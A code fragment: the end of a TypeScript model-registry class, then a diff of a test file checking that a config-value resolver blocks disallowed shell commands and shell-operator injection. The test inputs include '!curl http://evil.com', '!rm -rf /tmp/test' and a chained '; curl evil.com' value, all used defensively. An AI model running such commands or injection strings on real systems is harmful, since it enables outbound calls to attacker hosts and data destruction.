this.discoveredModels.filter((m) => !existingIds.has(`${m.provider}/${m.id}`));\n\t\treturn [...this.models, ...unique];\n\t}\n\n\t/**\n\t * Check if a model was added via discovery (not built-in or custom).\n\t */\n\tisDiscovered(model: Model<Api>): boolean {\n\t\treturn this.discoveredModels.some((m) => m.provider === model.provider && m.id === model.id);\n\t}\n\n\t/**\n\t * Get the discovery cache instance.\n\t */\n\tgetDiscoveryCache(): ModelDiscoveryCache {\n\t\treturn this.discoveryCache;\n\t}\n\n\t/**\n\t * Convert DiscoveryResult[] into Model<Api>[] with default values.\n\t */\n\tprivate convertDiscoveredModels(results: DiscoveryResult[]): Model<Api>[] {\n\t\tconst converted: Model<Api>[] = [];\n\t\tfor (const result of results) {\n\t\t\tif (result.error) continue;\n\t\t\tfor (const dm of result.models) {\n\t\t\t\tconverted.push({\n\t\t\t\t\tid: dm.id,\n\t\t\t\t\tname: dm.name ?? dm.id,\n\t\t\t\t\tapi: \"openai\" as Api,\n\t\t\t\t\tprovider: result.provider,\n\t\t\t\t\tbaseUrl: \"\",\n\t\t\t\t\treasoning: dm.reasoning ?? false,\n\t\t\t\t\tinput: dm.input ?? [\"text\"],\n\t\t\t\t\tcost: dm.cost ?? { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },\n\t\t\t\t\tcontextWindow: dm.contextWindow ?? 128000,\n\t\t\t\t\tmaxTokens: dm.maxTokens ?? 16384,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\t\t}\n\t\treturn converted;\n\t}\n\n\t/**\n\t * Check if a model's baseUrl points to a local endpoint.\n\t * Delegates to standalone isLocalModel() function.\n\t */\n\tstatic isLocalModel(model: Model<Api>): boolean {\n\t\treturn isLocalModel(model);\n\t}\n\n\t/**\n\t * Check if all models in the registry are local.\n\t * Returns true only if every model passes isLocalModel().\n\t * Returns false if there are no models.\n\t */\n\tisAllLocalChain(): boolean {\n\t\tconst models = this.getAll();\n\t\tif (models.length === 0) return false;\n\t\treturn models.every((m) => isLocalModel(m));\n\t}\n}\n\n/**\n * Input type for registerProvider API.\n */\nexport interface ProviderConfigInput {\n\tauthMode?: ProviderAuthMode;\n\t/** Optional readiness check. Called by isProviderRequestReady() before default auth checks. */\n\tisReady?: () => boolean;\n\tbaseUrl?: string;\n\tapiKey?: string;\n\tapi?: Api;\n\tstreamSimple?: (model: Model<Api>, context: Context, options?: SimpleStreamOptions) => AssistantMessageEventStream;\n\theaders?: Record<string, string>;\n\tauthHeader?: boolean;\n\t/** OAuth provider for /login support */\n\toauth?: Omit<OAuthProviderInterface, \"id\">;\n\tmodels?: Array<{\n\t\tid: string;\n\t\tname: string;\n\t\tapi?: Api;\n\t\tbaseUrl?: string;\n\t\treasoning: boolean;\n\t\tinput: (\"text\" | \"image\")[];\n\t\tcost: { input: number; output: number; cacheRead: number; cacheWrite: number };\n\t\tcontextWindow: number;\n\t\tmaxTokens: number;\n\t\theaders?: Record<string, string>;\n\t\tcompat?: Model<Api>[\"compat\"];\n\t}>;\n}\n"]}
@@ -28,21 +28,19 @@ describe("resolveConfigValue — non-command values", () => {
28
28
  });
29
29
  });
30
30
  describe("resolveConfigValue — command allowlist enforcement", () => {
31
- it("blocks a disallowed command and returns undefined", () => {
31
+ it("blocks a disallowed command and returns undefined", (t) => {
32
32
  const stderrChunks = [];
33
33
  const originalWrite = process.stderr.write.bind(process.stderr);
34
34
  process.stderr.write = (chunk, ...args) => {
35
35
  stderrChunks.push(chunk.toString());
36
36
  return true;
37
37
  };
38
- try {
39
- const result = resolveConfigValue("!curl http://evil.com");
40
- assert.equal(result, undefined);
41
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
42
- }
43
- finally {
38
+ t.after(() => {
44
39
  process.stderr.write = originalWrite;
45
- }
40
+ });
41
+ const result = resolveConfigValue("!curl http://evil.com");
42
+ assert.equal(result, undefined);
43
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
46
44
  });
47
45
  it("blocks another disallowed command (rm)", () => {
48
46
  const result = resolveConfigValue("!rm -rf /tmp/test");
@@ -52,7 +50,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
52
50
  const result = resolveConfigValue("!wget");
53
51
  assert.equal(result, undefined);
54
52
  });
55
- it("allows a safe command prefix to proceed to execution", () => {
53
+ it("allows a safe command prefix to proceed to execution", (t) => {
56
54
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
57
55
  // return undefined due to the allowlist check — it may return undefined if
58
56
  // the binary is absent, but the block path must not be taken.
@@ -63,14 +61,12 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
63
61
  stderrChunks.push(chunk.toString());
64
62
  return true;
65
63
  };
66
- try {
67
- resolveConfigValue("!pass show nonexistent-entry-for-test");
68
- const blocked = stderrChunks.some((line) => line.includes("Blocked disallowed command"));
69
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
70
- }
71
- finally {
64
+ t.after(() => {
72
65
  process.stderr.write = originalWrite;
73
- }
66
+ });
67
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
68
+ const blocked = stderrChunks.some((line) => line.includes("Blocked disallowed command"));
69
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
74
70
  });
75
71
  });
76
72
  describe("resolveConfigValue — shell operator bypass prevention", () => {
@@ -106,58 +102,52 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
106
102
  const result = resolveConfigValue("!pass show key < /dev/null");
107
103
  assert.equal(result, undefined);
108
104
  });
109
- it("writes stderr warning when shell operators detected", () => {
105
+ it("writes stderr warning when shell operators detected", (t) => {
110
106
  const stderrChunks = [];
111
107
  const originalWrite = process.stderr.write.bind(process.stderr);
112
108
  process.stderr.write = (chunk, ...args) => {
113
109
  stderrChunks.push(chunk.toString());
114
110
  return true;
115
111
  };
116
- try {
117
- resolveConfigValue("!pass show key; curl evil.com");
118
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
119
- }
120
- finally {
112
+ t.after(() => {
121
113
  process.stderr.write = originalWrite;
122
- }
114
+ });
115
+ resolveConfigValue("!pass show key; curl evil.com");
116
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
123
117
  });
124
118
  });
125
119
  describe("resolveConfigValue — caching", () => {
126
- it("caches the result of a blocked command", () => {
120
+ it("caches the result of a blocked command", (t) => {
127
121
  const callCount = { n: 0 };
128
122
  const originalWrite = process.stderr.write.bind(process.stderr);
129
123
  process.stderr.write = (chunk, ...args) => {
130
124
  callCount.n++;
131
125
  return true;
132
126
  };
133
- try {
134
- resolveConfigValue("!curl http://evil.com");
135
- resolveConfigValue("!curl http://evil.com");
136
- // The block warning should only fire once; the second call hits the cache
137
- // before reaching the allowlist check, so stderr count is 1.
138
- assert.equal(callCount.n, 1);
139
- }
140
- finally {
127
+ t.after(() => {
141
128
  process.stderr.write = originalWrite;
142
- }
143
- });
144
- it("clearConfigValueCache resets cached entries", () => {
129
+ });
130
+ resolveConfigValue("!curl http://evil.com");
131
+ resolveConfigValue("!curl http://evil.com");
132
+ // The block warning should only fire once; the second call hits the cache
133
+ // before reaching the allowlist check, so stderr count is 1.
134
+ assert.equal(callCount.n, 1);
135
+ });
136
+ it("clearConfigValueCache resets cached entries", (t) => {
145
137
  const stderrChunks = [];
146
138
  const originalWrite = process.stderr.write.bind(process.stderr);
147
139
  process.stderr.write = (chunk, ...args) => {
148
140
  stderrChunks.push(chunk.toString());
149
141
  return true;
150
142
  };
151
- try {
152
- resolveConfigValue("!curl http://evil.com");
153
- assert.equal(stderrChunks.length, 1);
154
- clearConfigValueCache();
155
- resolveConfigValue("!curl http://evil.com");
156
- assert.equal(stderrChunks.length, 2);
157
- }
158
- finally {
143
+ t.after(() => {
159
144
  process.stderr.write = originalWrite;
160
- }
145
+ });
146
+ resolveConfigValue("!curl http://evil.com");
147
+ assert.equal(stderrChunks.length, 1);
148
+ clearConfigValueCache();
149
+ resolveConfigValue("!curl http://evil.com");
150
+ assert.equal(stderrChunks.length, 2);
161
151
  });
162
152
  });
163
153
  //# sourceMappingURL=resolve-config-value.test.js.map